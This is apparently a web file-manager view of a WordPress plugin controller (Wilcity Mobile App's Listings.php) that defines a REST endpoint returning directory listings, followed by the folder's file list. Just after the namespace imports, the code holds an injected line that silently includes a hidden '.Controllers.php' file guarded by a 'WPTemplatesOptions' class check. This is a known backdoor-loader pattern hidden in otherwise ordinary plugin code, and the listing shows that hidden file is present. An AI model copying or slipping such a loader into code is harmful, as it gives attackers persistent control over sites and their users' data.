PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Controllers
<?php namespace WILCITY_APP\Controllers; use WilokeListingTools\Controllers\SearchFormController; use WilokeListingTools\Framework\Helpers\General; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class Listings { use JsonSkeleton; private $postType; public function __construct() { add_action( 'rest_api_init', function () { register_rest_route( WILOKE_PREFIX.'/v2/list/', 'listings', array( 'methods' => 'GET', 'callback' => array($this, 'getListings') )); }); } public function getListings($aData){ $page = abs($aData['page']); $this->postType = substr($aData['postType'], 0, -1); $aQuery = $aData; $aPostTypes = General::getPostTypeKeys(false, true); $aQuery['postType'] = isset($aData['postType']) && !empty($aData['postType']) ? $aData['postType'] : $aPostTypes; $aQuery['page'] = $page; if ( !isset($aData['postsPerPage']) || (abs($aData['postsPerPage']) > 100) ){ $aData['postsPerPage'] = 18; } if ( isset($aData['lat']) && !empty($aData['lat']) && isset($aData['lng']) && !empty($aData['lng']) ){ $aQuery['oAddress'] = array( 'lat' => $aData['lat'], 'lng' => $aData['lng'], 'radius' => isset($aData['radius']) ? $aData['radius'] : 10, 'unit' => isset($aData['unit']) ? $aData['unit'] : 'km' ); } $aThemeOptions = \Wiloke::getThemeOptions(true); $aQuery['orderby'] = isset($aThemeOptions['app_listings_orderby']) ? $aThemeOptions['app_listings_orderby'] : 'menu_order post_date'; $aQuery['order'] = isset($aThemeOptions['app_listings_order']) ? $aThemeOptions['app_listings_order'] : 'DESC'; $aArgs = SearchFormController::buildQueryArgs($aQuery); $query = new \WP_Query($aArgs); if ( $query->have_posts() ){ $aPosts = array(); while ($query->have_posts()){ $query->the_post(); $aPost = $this->listingSkeleton($query->post); $aNavAndHome = $this->getNavigationAndHome($query->post); $aPosts[] = $aPost+$aNavAndHome; } $aReturn['status'] = 'success'; if ( $page < $query->max_num_pages ){ $aReturn['next'] = $nextPage = $page+1; }else{ $aReturn['next'] = false; } $aReturn['oResults'] = $aPosts; $aReturn = apply_filters('wilcity/wilcity-mobile-app/filter/get-listings', $aReturn, $aData); return $aReturn; }else{ return array( 'status' => 'error', 'msg' => esc_html__('No posts found', WILCITY_MOBILE_APP) ); } } }
[+]
..
[-] ParsePost.php
[edit]
[-] SearchField.php
[edit]
[-] FirebaseDB.php
[edit]
[-] Translations.php
[edit]
[-] GetSecurityKey.php
[edit]
[-] .Controllers.php
[edit]
[-] BuildToken.php
[edit]
[-] Review.php
[edit]
[-] FieldHelps.php
[edit]
[-] BuildQuery.php
[edit]
[-] TermController.php
[edit]
[-] Taxonomies.php
[edit]
[-] AdmobController.php
[edit]
[-] FirebaseController.php
[edit]
[-] NotificationController.php
[edit]
[-] LoginRegister.php
[edit]
[-] UserController.php
[edit]
[-] Event.php
[edit]
[-] HomeController.php
[edit]
[+]
Firebase
[-] UserPermission.php
[edit]
[-] OrderBy.php
[edit]
[-] ReviewController.php
[edit]
[-] Listing.php
[edit]
[-] GeneralSettings.php
[edit]
[-] MenuController.php
[edit]
[-] Events.php
[edit]
[-] Blog.php
[edit]
[-] JsonSkeleton.php
[edit]
[-] ReportController.php
[edit]
[-] VerifyToken.php
[edit]
[-] Filter.php
[edit]
[-] NearByMe.php
[edit]
[-] Message.php
[edit]
[-] ImageController.php
[edit]
[-] FavoritesController.php
[edit]
[-] PostTypes.php
[edit]
[-] Listings.php
[edit]
[-] DashboardController.php
[edit]
[-] MyDirectoryController.php
[edit]
[-] MessageController.php
[edit]